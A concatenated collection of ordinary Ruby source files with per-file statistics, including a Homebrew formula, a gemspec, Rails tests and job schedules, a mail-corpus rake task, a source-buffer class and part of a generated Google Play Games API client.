| 34.36 | 152 | 0.638269 |
e2ea1d9f1178cad89e8f5b2a60880fb05283a195 | 1,046 | def test
connection = Fog::Google::SQL.new
puts "Create a Instance..."
puts "--------------------"
instance = connection.instances.create(:instance => Fog::Mock.random_letters(16), :tier => "D1")
instance.wait_for { ready? }
puts "Get the Instance..."
puts "----------------------"
connection.instances.get(instance.instance)
puts "List all Instances..."
puts "---------------------"
connection.instances.all
puts "Update the Instance..."
puts "----------------------"
instance.activation_policy = "ALWAYS"
instance.update
instance.wait_for { ready? }
puts "Reset the Instance SSL configuration..."
puts "---------------------------------------"
instance.reset_ssl_config
puts "Restart the Instance..."
puts "-----------------------"
instance.restart
puts "Set the Instance root password..."
puts "---------------------------------"
instance.set_root_password(Fog::Mock.random_letters_and_numbers(8))
puts "Delete the Instance..."
puts "----------------------"
instance.destroy
end
| 26.820513 | 98 | 0.558317 |
62e923b1b2741f43ecd9315e7b54cfe550afbee9 | 1,189 | class Png2ico < Formula
desc "PNG to icon converter"
homepage "http://www.winterdrache.de/freeware/png2ico/"
url "http://www.winterdrache.de/freeware/png2ico/data/png2ico-src-2002-12-08.tar.gz"
sha1 "955004bee9a20f12b225aa01895762cbbafaeb28"
bottle do
cellar :any
sha1 "b3c0353afa9ea55e8dc9e8f41eeaac8968f569d3" => :yosemite
sha1 "75edd65a4d22ec52b41010b2c8140e3fe20c0895" => :mavericks
sha1 "1d603b519c4067f20de399892d85fbcd834a9f39" => :mountain_lion
end
revision 1
depends_on "libpng"
# Fix build with recent clang
patch :DATA
def install
inreplace "Makefile", "g++", "$(CXX)"
system "make", "CPPFLAGS=#{ENV.cxxflags} #{ENV.cppflags} #{ENV.ldflags}"
bin.install "png2ico"
man1.install "doc/png2ico.1"
end
test do
system "#{bin}/png2ico", "out.ico", test_fixtures("test.png")
assert File.exist?("out.ico")
end
end
__END__
diff --git a/png2ico.cpp b/png2ico.cpp
index 8fb87e4..9dedb97 100644
--- a/png2ico.cpp
+++ b/png2ico.cpp
@@ -34,6 +34,7 @@ Notes about transparent and inverted pixels:
#include <cstdio>
#include <vector>
#include <climits>
+#include <cstdlib>
#if __GNUC__ > 2
#include <ext/hash_map>
| 25.847826 | 86 | 0.708158 |
08a054551d7795673d4009f0cb861d458146abc1 | 1,093 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'ingress/version'
Gem::Specification.new do |spec|
spec.name = "ingress"
spec.version = Ingress::VERSION
spec.authors = ["Alan Skorkin"]
spec.email = ["[email protected]"]
spec.summary = %q{Simple role based authorization for Ruby applications}
spec.homepage = ""
spec.license = "MIT"
spec.metadata = {
"bug_tracker_uri" => "https://github.com/skorks/ingress/issues",
"source_code_uri" => "https://github.com/skorks/ingress",
}
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
spec.bindir = "bin"
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", ">= 1.10", "< 3"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "rspec"
end
| 37.689655 | 104 | 0.596523 |
912860598ededaa606fdae463247c0b09f9d83b2 | 769 | require 'test_helper'
class StaticPagesControllerTest < ActionDispatch::IntegrationTest
def setup
@base_title = "railstutorial"
end
test "should get root" do
get root_path
assert_response :success
end
test "should get home" do
get home_path
assert_response :success
assert_select "title", "Home - #{@base_title}"
end
test "should get help" do
get help_path
assert_response :success
assert_select "title", "Help - #{@base_title}"
end
test 'should get about' do
get about_path
assert_response :success
assert_select "title", "About - #{@base_title}"
end
test 'should get contact' do
get contact_path
assert_response :success
assert_select "title", "Contact - #{@base_title}"
end
end
| 21.971429 | 65 | 0.694408 |
f88de5e5d79d88da9e8f37d31ef0e6362638e024 | 288 | FactoryBot.define do
factory :absence do
name { Faker::Cat.name }
location { Faker::Address.street_name }
end_date { Faker::Date.forward(30) }
start_date { Faker::Date.backward(15) }
event_type { Absence::TYPES.sample }
user_id user
end
end
| 26.181818 | 46 | 0.628472 |
7a8b4180880c930ce6101a417e254fc17306bc7a | 3,240 | namespace :corpus do
task :load_mail do
require File.expand_path('../../../spec/environment')
require 'mail'
end
# Used to run parsing against an arbitrary corpus of email.
# For example: http://plg.uwaterloo.ca/~gvcormac/treccorpus/
desc "Provide a LOCATION=/some/dir to verify parsing in bulk, otherwise defaults"
task :verify_all => :load_mail do
root_of_corpus = ENV['LOCATION'] || 'corpus/spam'
@save_failures_to = ENV['SAVE_TO'] || 'spec/fixtures/emails/failed_emails'
@failed_emails = []
@checked_count = 0
if root_of_corpus
root_of_corpus = File.expand_path(root_of_corpus)
if not File.directory?(root_of_corpus)
raise "\n\tPath '#{root_of_corpus}' is not a directory.\n\n"
end
else
raise "\n\tSupply path to corpus: LOCATION=/path/to/corpus\n\n"
end
if @save_failures_to
if not File.directory?(@save_failures_to)
raise "\n\tPath '#{@save_failures_to}' is not a directory.\n\n"
end
@save_failures_to = File.expand_path(@save_failures_to)
puts "Mail which fails to parse will be saved in '#{@save_failures_to}'"
end
puts "Checking '#{root_of_corpus}' directory (recursively)"
# we're tracking all the errors separately, don't clutter terminal
$stderr_backup = $stderr.dup
$stderr.reopen("/dev/null", "w")
STDERR = $stderr
dir_node(root_of_corpus)
# put our toys back now that we're done with them
$stderr = $stderr_backup.dup
STDERR = $stderr
puts "\n\n"
if @failed_emails.any?
report_failures_to_stdout
end
puts "Out of Total: #{@checked_count}"
if @save_failures_to
puts "Add SAVE_TO=/some/dir to save failed emails to for review.,"
puts "May result in a lot of saved files. Do a dry run first!\n\n"
else
puts "There are no errors"
end
end
def dir_node(path)
puts "\n\n"
puts "Checking emails in '#{path}':"
entries = Dir.entries(path)
entries.each do |entry|
next if ['.', '..'].include?(entry)
full_path = File.join(path, entry)
if File.file?(full_path)
file_node(full_path)
elsif File.directory?(full_path)
dir_node(full_path)
end
end
end
def file_node(path)
verify(path)
end
def verify(path)
result, message = parse_as_mail(path)
if result
print '.'
$stdout.flush
else
save_failure(path, message)
print 'x'
end
end
def save_failure(path, message)
@failed_emails << [path, message]
if @save_failures_to
email_basename = File.basename(path)
failure_as_filename = message.gsub(/\W/, '_')
new_email_name = [failure_as_filename, email_basename].join("_")
File.open(File.join(@save_failures_to, new_email_name), 'w+') do |fh|
fh << File.read(path)
end
end
end
def parse_as_mail(path)
@checked_count += 1
begin
parsed_mail = Mail.read(path)
[true, nil]
rescue => e
[false, e.message]
end
end
def report_failures_to_stdout
@failed_emails.each do |failed|
puts "#{failed[0]} : #{failed[1]}"
end
puts "Failed: #{@failed_emails.size}"
end
end
| 25.714286 | 83 | 0.635494 |
0891b497501f50ee403fe5073c82f2344574435e | 137 | class ChangeRefToTextInAccountVersions < ActiveRecord::Migration
def change
change_column :account_versions, :ref, :text
end
end
| 22.833333 | 64 | 0.79562 |
ed48d028948e2276570898553be34192511d4480 | 6,620 | # encoding: ascii-8bit
module Parser
module Source
##
# A buffer with source code. {Buffer} contains the source code itself,
# associated location information (name and first line), and takes care
# of encoding.
#
# A source buffer is immutable once populated.
#
# @!attribute [r] name
# Buffer name. If the buffer was created from a file, the name corresponds
# to relative path to the file.
# @return [String] buffer name
#
# @!attribute [r] first_line
# First line of the buffer, 1 by default.
# @return [Integer] first line
#
# @api public
#
class Buffer
attr_reader :name, :first_line
##
# @api private
#
ENCODING_RE =
/\#.*coding\s*[:=]\s*
(
# Special-case: there's a UTF8-MAC encoding.
(utf8-mac)
|
# Chew the suffix; it's there for emacs compat.
([A-Za-z0-9_-]+?)(-unix|-dos|-mac)
|
([A-Za-z0-9_-]+)
)
/x
##
# Try to recognize encoding of `string` as Ruby would, i.e. by looking for
# magic encoding comment or UTF-8 BOM. `string` can be in any encoding.
#
# @param [String] string
# @return [String|nil] encoding name, if recognized
#
def self.recognize_encoding(string)
return if string.empty?
# extract the first two lines in an efficient way
string =~ /\A(.*)\n?(.*\n)?/
first_line, second_line = $1, $2
if first_line =~ /\A\xef\xbb\xbf/ # BOM
return Encoding::UTF_8
elsif first_line[0, 2] == '#!'
encoding_line = second_line
else
encoding_line = first_line
end
if (result = ENCODING_RE.match(encoding_line))
Encoding.find(result[2] || result[3] || result[5])
else
nil
end
end
##
# Recognize encoding of `input` and process it so it could be lexed.
#
# * If `input` does not contain BOM or magic encoding comment, it is
# kept in the original encoding.
# * If the detected encoding is binary, `input` is kept in binary.
# * Otherwise, `input` is re-encoded into UTF-8 and returned as a
# new string.
#
# This method mutates the encoding of `input`, but not its content.
#
# @param [String] input
# @return [String]
# @raise [EncodingError]
#
def self.reencode_string(input)
original_encoding = input.encoding
detected_encoding = recognize_encoding(input.force_encoding(Encoding::BINARY))
if detected_encoding.nil?
input.force_encoding(original_encoding)
elsif detected_encoding == Encoding::BINARY
input
else
input.
force_encoding(detected_encoding).
encode(Encoding::UTF_8)
end
end
def initialize(name, first_line = 1)
@name = name
@source = nil
@first_line = first_line
@lines = nil
@line_begins = nil
end
##
# Populate this buffer from correspondingly named file.
#
# @example
# Parser::Source::Buffer.new('foo/bar.rb').read
#
# @return [Buffer] self
# @raise [ArgumentError] if already populated
#
def read
File.open(@name, 'rb') do |io|
self.source = io.read
end
self
end
##
# Source code contained in this buffer.
#
# @return [String] source code
# @raise [RuntimeError] if buffer is not populated yet
#
def source
if @source.nil?
raise RuntimeError, 'Cannot extract source from uninitialized Source::Buffer'
end
@source
end
##
# Populate this buffer from a string with encoding autodetection.
# `input` is mutated if not frozen.
#
# @param [String] input
# @raise [ArgumentError] if already populated
# @raise [EncodingError] if `input` includes invalid byte sequence for the encoding
# @return [String]
#
def source=(input)
if defined?(Encoding)
input = input.dup if input.frozen?
input = self.class.reencode_string(input)
unless input.valid_encoding?
raise EncodingError, "invalid byte sequence in #{input.encoding.name}"
end
end
self.raw_source = input
end
##
# Populate this buffer from a string without encoding autodetection.
#
# @param [String] input
# @raise [ArgumentError] if already populated
# @return [String]
#
def raw_source=(input)
if @source
raise ArgumentError, 'Source::Buffer is immutable'
end
@source = input.gsub("\r\n", "\n").freeze
end
##
# Convert a character index into the source to a `[line, column]` tuple.
#
# @param [Integer] position
# @return [[Integer, Integer]] `[line, column]`
#
def decompose_position(position)
line_no, line_begin = line_for(position)
[ @first_line + line_no, position - line_begin ]
end
##
# Extract line `lineno` from source, taking `first_line` into account.
#
# @param [Integer] lineno
# @return [String]
# @raise [IndexError] if `lineno` is out of bounds
#
def source_line(lineno)
unless @lines
@lines = @source.lines.to_a
@lines.each { |line| line.chomp!("\n") }
# If a file ends with a newline, the EOF token will appear
# to be one line further than the end of file.
@lines << ""
end
@lines.fetch(lineno - @first_line).dup
end
private
def line_begins
unless @line_begins
@line_begins, index = [ [ 0, 0 ] ], 1
@source.each_char do |char|
if char == "\n"
@line_begins.unshift [ @line_begins.length, index ]
end
index += 1
end
end
@line_begins
end
def line_for(position)
if line_begins.respond_to? :bsearch
# Fast O(log n) variant for Ruby >=2.0.
line_begins.bsearch do |line, line_begin|
line_begin <= position
end
else
# Slower O(n) variant for Ruby <2.0.
line_begins.find do |line, line_begin|
line_begin <= position
end
end
end
end
end
end
| 27.020408 | 89 | 0.551813 |
1ae68ad75d6488c7b4a29367abb31e1900729d39 | 223 | class Array
def to_hash_keys(&block)
Hash[*self.collect { |v|
[v, block.call(v)]
}.flatten]
end
def to_hash_values(&block)
Hash[*self.collect { |v|
[block.call(v), v]
}.flatten]
end
end
| 15.928571 | 28 | 0.578475 |
87bc7f1b5eda221a0e1766e4d4c6fd92080a2115 | 367 | require 'bundler/setup'
require 'proc_buffer'
RSpec.configure do |config|
# Enable flags like --only-failures and --next-failure
config.example_status_persistence_file_path = '.rspec_status'
# Disable RSpec exposing methods globally on `Module` and `main`
config.disable_monkey_patching!
config.expect_with :rspec do |c|
c.syntax = :expect
end
end
| 24.466667 | 66 | 0.754768 |
4aa01da7123ac1af79314998da6c44b02dd629e3 | 6,098 | cron_5m = '0/5 * * * *'
interval_5m = 5 * 60
cron_1h = '0 * * * *'
interval_1h = 60 * 60
cron_24h = '0 0 * * *'
gpo_cron_24h = '0 10 * * *' # 10am UTC is 5am EST/6am EDT
inteval_24h = 24 * 60 * 60
if defined?(Rails::Console)
Rails.logger.info 'job_configurations: console detected, skipping schedule'
else
# rubocop:disable Metrics/BlockLength
Rails.application.configure do
config.good_job.cron = {
# Daily GPO letter mailings
gpo_daily_letter: {
class: 'GpoDailyJob',
cron: gpo_cron_24h,
args: -> { [Time.zone.today] },
},
# Send account deletion confirmation notifications
account_reset_grant_requests_send_emails: {
class: 'AccountReset::GrantRequestsAndSendEmails',
cron: cron_5m,
args: -> { [Time.zone.now] },
},
# Send OMB Fitara report to s3
omb_fitara_report: {
class: 'Reports::OmbFitaraReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send Unique Monthly Auths Report to S3
unique_monthly_auths: {
class: 'Reports::UniqueMonthlyAuthsReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send Unique Yearly Auths Report to S3
unique_yearly_auths: {
class: 'Reports::UniqueYearlyAuthsReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send Agency User Counts Report to S3
agency_user_counts: {
class: 'Reports::AgencyUserCountsReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send Total Monthly Auths Report to S3
total_monthly_auths: {
class: 'Reports::TotalMonthlyAuthsReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send Sp User Counts Report to S3
sp_user_counts: {
class: 'Reports::SpUserCountsReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send Sp User Quotas Report to S3
sp_user_quotas: {
class: 'Reports::SpUserQuotasReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send Doc Auth Funnel Report to S3
doc_auth_funnel_report: {
class: 'Reports::DocAuthFunnelReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send Sp Success Rate Report to S3
sp_success_rate: {
class: 'Reports::SpSuccessRateReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Proofing Costs Report to S3
proofing_costs: {
class: 'Reports::ProofingCostsReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Doc auth drop off rates per sprint to S3
doc_auth_dropoff_per_sprint: {
class: 'Reports::DocAuthDropOffRatesPerSprintReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# SP Costs Report to S3
sp_costs: {
class: 'Reports::SpCostReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Agency Invoice Supplement Report to S3
sp_invoice_supplement_by_iaa: {
class: 'Reports::AgencyInvoiceIaaSupplementReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Agency Invoice Supplement Report to S3
sp_invoice_supplement_by_issuer: {
class: 'Reports::AgencyInvoiceIssuerSupplementReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Total SP Costs Report to S3
total_sp_costs: {
class: 'Reports::TotalSpCostReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# SP Active Users Report to S3
sp_active_users_report: {
class: 'Reports::SpActiveUsersReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# SP Active Users Report to S3
sp_active_users_period_pf_performance: {
class: 'Reports::SpActiveUsersOverPeriodOfPerformanceReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Doc auth drop off rates report
doc_auth_dropoff_rates: {
class: 'Reports::DocAuthDropOffRatesReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# IAA Billing Report
iaa_billing_report: {
class: 'Reports::IaaBillingReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send deleted user accounts to S3
deleted_user_accounts: {
class: 'Reports::DeletedUserAccountsReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send GPO Report to S3
gpo_report: {
class: 'Reports::GpoReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send Monthly GPO Letter Requests Report to S3
gpo_monthly_letter_requests: {
class: 'Reports::MonthlyGpoLetterRequestsReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send Partner API reports to S3
partner_api_reports: {
class: 'Agreements::Reports::PartnerApiReport',
cron: cron_24h,
args: -> { [Time.zone.today] },
},
# Send daily auth report to S3
daily_auths: {
class: 'Reports::DailyAuthsReport',
cron: cron_24h,
args: -> { [Time.zone.yesterday] },
},
# Send daily dropoffs report to S3
daily_dropoffs: {
class: 'Reports::DailyDropoffsReport',
cron: cron_24h,
args: -> { [Time.zone.yesterday] },
},
# Removes old rows from the Throttles table
remove_old_throttles: {
class: 'RemoveOldThrottlesJob',
cron: cron_1h,
args: -> { [Time.zone.now] },
},
# Queue heartbeat job to GoodJob
heartbeat_job: {
class: 'HeartbeatJob',
cron: cron_5m,
},
}
end
# rubocop:enable Metrics/BlockLength
Rails.logger.info 'job_configurations: jobs scheduled with good_job.cron'
end
| 31.43299 | 77 | 0.576582 |
1d76f973c065a0c19395808449322a3e48f0a422 | 140,319 | # Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
require 'google/apis/errors'
module Google
module Apis
module GamesV1
# Google Play Game Services API
#
# The API for Google Play Game Services.
#
# @example
# require 'google/apis/games_v1'
#
# Games = Google::Apis::GamesV1 # Alias the module
# service = Games::GamesService.new
#
# @see https://developers.google.com/games/services/
class GamesService < Google::Apis::Core::BaseService
# @return [String]
# API key. Your API key identifies your project and provides you with API access,
# quota, and reports. Required unless you provide an OAuth 2.0 token.
attr_accessor :key
# @return [String]
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
attr_accessor :quota_user
# @return [String]
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
attr_accessor :user_ip
def initialize
super('https://www.googleapis.com/', 'games/v1/')
@batch_path = 'batch/games/v1'
end
# Lists all the achievement definitions for your application.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of achievement resources to return in the response, used
# for paging. For any response, the actual number of achievement resources
# returned may be less than the specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListAchievementDefinitionsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListAchievementDefinitionsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_achievement_definitions(language: nil, max_results: nil, page_token: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'achievements', options)
command.response_representation = Google::Apis::GamesV1::ListAchievementDefinitionsResponse::Representation
command.response_class = Google::Apis::GamesV1::ListAchievementDefinitionsResponse
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Increments the steps of the achievement with the given ID for the currently
# authenticated player.
# @param [String] achievement_id
# The ID of the achievement used by this method.
# @param [Fixnum] steps_to_increment
# The number of steps to increment.
# @param [Fixnum] request_id
# A randomly generated numeric ID for each request specified by the caller. This
# number is used at the server to ensure that the request is handled correctly
# across retries.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::AchievementIncrementResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::AchievementIncrementResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def increment_achievement(achievement_id, steps_to_increment, request_id: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'achievements/{achievementId}/increment', options)
command.response_representation = Google::Apis::GamesV1::AchievementIncrementResponse::Representation
command.response_class = Google::Apis::GamesV1::AchievementIncrementResponse
command.params['achievementId'] = achievement_id unless achievement_id.nil?
command.query['requestId'] = request_id unless request_id.nil?
command.query['stepsToIncrement'] = steps_to_increment unless steps_to_increment.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Lists the progress for all your application's achievements for the currently
# authenticated player.
# @param [String] player_id
# A player ID. A value of me may be used in place of the authenticated player's
# ID.
# @param [String] language
# The preferred language to use for strings returned by this method.
# @param [Fixnum] max_results
# The maximum number of achievement resources to return in the response, used
# for paging. For any response, the actual number of achievement resources
# returned may be less than the specified maxResults.
# @param [String] page_token
# The token returned by the previous request.
# @param [String] state
# Tells the server to return only achievements with the specified state. If this
# parameter isn't specified, all achievements are returned.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::ListPlayerAchievementResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::ListPlayerAchievementResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_achievements(player_id, language: nil, max_results: nil, page_token: nil, state: nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:get, 'players/{playerId}/achievements', options)
command.response_representation = Google::Apis::GamesV1::ListPlayerAchievementResponse::Representation
command.response_class = Google::Apis::GamesV1::ListPlayerAchievementResponse
command.params['playerId'] = player_id unless player_id.nil?
command.query['language'] = language unless language.nil?
command.query['maxResults'] = max_results unless max_results.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['state'] = state unless state.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Sets the state of the achievement with the given ID to REVEALED for the
# currently authenticated player.
# @param [String] achievement_id
# The ID of the achievement used by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::AchievementRevealResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::AchievementRevealResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def reveal_achievement(achievement_id, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'achievements/{achievementId}/reveal', options)
command.response_representation = Google::Apis::GamesV1::AchievementRevealResponse::Representation
command.response_class = Google::Apis::GamesV1::AchievementRevealResponse
command.params['achievementId'] = achievement_id unless achievement_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Sets the steps for the currently authenticated player towards unlocking an
# achievement. If the steps parameter is less than the current number of steps
# that the player already gained for the achievement, the achievement is not
# modified.
# @param [String] achievement_id
# The ID of the achievement used by this method.
# @param [Fixnum] steps
# The minimum value to set the steps to.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::AchievementSetStepsAtLeastResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::AchievementSetStepsAtLeastResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def set_achievement_steps_at_least(achievement_id, steps, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'achievements/{achievementId}/setStepsAtLeast', options)
command.response_representation = Google::Apis::GamesV1::AchievementSetStepsAtLeastResponse::Representation
command.response_class = Google::Apis::GamesV1::AchievementSetStepsAtLeastResponse
command.params['achievementId'] = achievement_id unless achievement_id.nil?
command.query['steps'] = steps unless steps.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Unlocks this achievement for the currently authenticated player.
# @param [String] achievement_id
# The ID of the achievement used by this method.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::AchievementUnlockResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::AchievementUnlockResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def unlock_achievement(achievement_id, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'achievements/{achievementId}/unlock', options)
command.response_representation = Google::Apis::GamesV1::AchievementUnlockResponse::Representation
command.response_class = Google::Apis::GamesV1::AchievementUnlockResponse
command.params['achievementId'] = achievement_id unless achievement_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Updates multiple achievements for the currently authenticated player.
# @param [Google::Apis::GamesV1::AchievementUpdateMultipleRequest] achievement_update_multiple_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# Overrides userIp if both are provided.
# @param [String] user_ip
# IP address of the site where the request originates. Use this if you want to
# enforce per-user limits.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::GamesV1::AchievementUpdateMultipleResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::GamesV1::AchievementUpdateMultipleResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def update_multiple_achievements(achievement_update_multiple_request_object = nil, fields: nil, quota_user: nil, user_ip: nil, options: nil, &block)
command = make_simple_command(:post, 'achievements/updateMultiple', options)
command.request_representation = Google::Apis::GamesV1::AchievementUpdateMultipleRequest::Representation
command.request_object = achievement_update_multiple_request_object
command.response_representation = Google::Apis::GamesV1::AchievementUpdateMultipleResponse::Representation
command.response_class = Google::Apis::GamesV1::AchievementUpdateMultipleResponse
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
command.query['userIp'] = user_ip unless user_ip.nil?
execute_or_queue_command(command, &block)
end
# Retrieves the metadata of the application with the given ID. If the requested
